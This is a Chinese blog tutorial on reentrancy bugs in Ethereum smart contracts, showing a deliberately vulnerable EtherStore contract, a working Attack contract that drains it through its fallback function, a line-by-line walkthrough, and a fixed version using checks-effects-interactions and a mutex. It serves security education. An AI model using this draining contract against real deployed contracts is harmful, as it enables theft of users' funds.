美文网首页
区块链智能合约安全之二(重入漏洞)

区块链智能合约安全之二(重入漏洞)

作者: 黑客不黑_ | 来源:发表于2019-07-20 16:08 被阅读0次

    上一篇:区块链智能合约安全之一(盗币攻击)

    以太坊智能合约的特点之一是能够调用和利用其他外部合约的代码。合约通常也处理Ether,因此通常会将Ether发送给各种外部用户地址。调用外部合约或将以太网发送到地址的操作需要合约提交外部调用。这些外部调用可能被攻击者劫持,迫使合约执行进一步的代码(即通过回退函数),包括回调自身。因此代码执行“重新进入”合约。这种攻击被用于臭名昭著的DAO攻击。
    漏洞
    当合约将Ether发送到未知地址时,可能会发生此攻击。攻击者可以在Fallback函数中的外部地址处构建一个包含恶意代码的合约。因此,当合约向此地址发送Ether时,它将调用恶意代码。通常,恶意代码会在易受攻击的合约上执行一个函数、该函数会运行一项开发人员不希望的操作。“重入”这个名称来源于外部恶意合约回复了易受攻击合约的功能,并在易受攻击的合约的任意位置“重新输入”了代码执行。
    为了澄清这一点,请考虑简单易受伤害的合约,该合约充当以太坊保险库,允许存款人每周只提取1个Ether。

    EtherStore.sol:
    contractEtherStore{
    uint256publicwithdrawalLimit=1ether;
    mapping(address=>uint256)publiclastWithdrawTime;
    mapping(address=>uint256)publicbalances;
    functiondepositFunds()publicpayable{
    balances[msg.sender]+=msg.value;
    }
    functionwithdrawFunds(uint256_weiToWithdraw)public{
    require(balances[msg.sender]>=_weiToWithdraw);
    //limitthewithdrawal
    require(_weiToWithdraw<=withdrawalLimit);
    //limitthetimeallowedtowithdraw
    require(now>=lastWithdrawTime[msg.sender]+1weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender]-=_weiToWithdraw;
    lastWithdrawTime[msg.sender]=now;
    }
    }
    

    该合约有两个公共职能。depositFunds()和withdrawFunds()。该depositFunds()功能只是增加发件人余额。该withdrawFunds()功能允许发件人指定要撤回的wei的数量。如果所要求的退出金额小于1Ether并且在上周没有发生撤回,它才会成功。额,真会是这样吗?...

    该漏洞出现在[17]行,我们向用户发送他们所要求的以太数量。考虑一个恶意攻击者创建下列合约

    Attack.sol:
    
    
    import"EtherStore.sol";
    
    contractAttack{
    EtherStorepublicetherStore;
    //intialisetheetherStorevariablewiththecontractaddress
    constructor(address_etherStoreAddress){
    etherStore=EtherStore(_etherStoreAddress);
    }
    functionpwnEtherStore()publicpayable{
    //attacktothenearestether
    require(msg.value>=1ether);
    //sendethtothedepositFunds()function
    etherStore.depositFunds.value(1ether)();
    //startthemagic
    etherStore.withdrawFunds(1ether);
    }
    functioncollectEther()public{
    msg.sender.transfer(this.balance);
    }
    //fallbackfunction-wherethemagichappens
    function()payable{
    if(etherStore.balance>1ether){
    etherStore.withdrawFunds(1ether);
    }
    }
    }
    

    让我们看看这个恶意合约是如何利用我们的EtherStore合约的。攻击者可以(假定恶意合约地址为0x0...123)使用EtherStore合约地址作为构造函数参数来创建上述合约。这将初始化并将公共变量etherStore指向我们想要攻击的合约。然后攻击者会调用这个pwnEtherStore()函数,并存入一些Ehter(大于或等于1),比方说1Ehter,在这个例子中。在这个例子中,我们假设一些其他用户已经将若干Ehter存入这份合约中,比方说它的当前余额就是10ether。然后会发生以下情况:

    1.Attack.sol-Line[15]-EtherStore合约的despoitFunds函数将会被调用,并伴随1Ether的mag.value(和大量的Gas)。sender(msg.sender)将是我们的恶意合约(0x0...123)。因此,balances[0x0..123]=1ether。
    2.Attack.sol-Line[17]-恶意合约将使用一个参数来调用合约的withdrawFunds()功能。这将通过所有要求(合约的行[12]-[16]),因为我们以前没有提款。
    3.EtherStore.sol-行[17]-合约将发送1Ether回恶意合约。
    4.Attack.sol-Line[25]-发送给恶意合约的Ether将执行fallback函数。
    5.Attack.sol-Line[26]-EtherStore合约的总余额是10Ether,现在是9Ether,如果声明通过。
    6.Attack.sol-Line[27]-回退函数然后再次动用EtherStore中的withdrawFunds()函数并“重入”EtherStore合约。
    7.EtherStore.sol-行[11]-在第二次调用withdrawFunds()时,我们的余额仍然是1Ether,因为行[18]尚未执行。因此,我们仍然有balances[0x0..123]=1ether。lastWithdrawTime变量也是这种情况。我们再次通过所有要求。
    8.EtherStore.sol-行[17]-我们撤回另外的1Ether。
    9.步骤4-8将重复-直到EtherStore.balance>=1,这是由Attack.sol-Line[26]所指定的。
    10.Attack.sol-Line[26]-一旦在EtherStore合约中留下少于1(或更少)的Ether,此if语句将失败。这样EtherStore就会执行合约的行[18]和行[19](每次调用withdrawFunds()函数之后都会执行这两行)。
    11.EtherStore.sol-行[18]和[19]-balances和lastWithdrawTime映射将被设置并且执行将结束。
    

    最终的结果是,攻击者只用一笔交易,便立即从EtherStore合约中取出了(除去1个Ether以外)所有的Ether。
    预防技术
    有许多常用技术可以帮助避免智能合约中潜在的重入漏洞。
    第一种是(在可能的情况下)在将Ether发送给外部合约时使用内置的transfer()函数。转账功能只发送2300gas不足以使目的地址/合约调用另一份合约(即重入发送合约)。

    第二种技术是确保所有改变状态变量的逻辑发生在Ether被发送出合约(或任何外部调用)之前。在这个EtherStore例子中,EtherStore.sol-行[18]和行[19]应放在行[17]之前。将任何对未知地址执行外部调用的代码,放置在本地化函数或代码执行中作为最后一个操作,是一种很好的做法。这被称为检查效果交互(checks-effects-interactions)模式。

    第三种技术是引入互斥锁。也就是说,要添加一个在代码执行过程中锁定合约的状态变量,阻止重入调用。
    给EtherStore.sol应用所有这些技术(同时使用全部三种技术是没必要的,只是为了演示目的而已)会出现如下的防重入合约:

    contractEtherStore{
    //initialisethemutex
    boolreEntrancyMutex=false;
    uint256publicwithdrawalLimit=1ether;
    mapping(address=>uint256)publiclastWithdrawTime;
    mapping(address=>uint256)publicbalances;
    functiondepositFunds()publicpayable{
    balances[msg.sender]+=msg.value;
    }
    functionwithdrawFunds(uint256_weiToWithdraw)public{
    require(!reEntrancyMutex);
    require(balances[msg.sender]>=_weiToWithdraw);
    //limitthewithdrawal
    require(_weiToWithdraw<=withdrawalLimit);
    //limitthetimeallowedtowithdraw
    require(now>=lastWithdrawTime[msg.sender]+1weeks);
    balances[msg.sender]-=_weiToWithdraw;
    lastWithdrawTime[msg.sender]=now;
    //setthereEntrancymutexbeforetheexternalcall
    reEntrancyMutex=true;
    msg.sender.transfer(_weiToWithdraw);
    //releasethemutexaftertheexternalcall
    reEntrancyMutex=false;
    }
    }
    

    真实的例子:TheDAO
    TheDAO(分散式自治组织)是以太坊早期发展的主要黑客之一。当时,该合约持有1.5亿美元以上。重入在这次攻击中发挥了重要作用,最终导致了EthereumClassic(ETC)的分叉。有关TheDAO漏洞的详细分析,请参阅PhilDaian的文章。

    相关文章

      网友评论

          本文标题:区块链智能合约安全之二(重入漏洞)

          本文链接:https://www.haomeiwen.com/subject/vbbklctx.html